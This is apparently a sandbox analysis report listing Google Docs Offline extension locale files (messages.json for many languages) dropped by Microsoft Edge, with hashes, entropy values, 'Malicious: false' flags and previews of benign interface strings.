C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
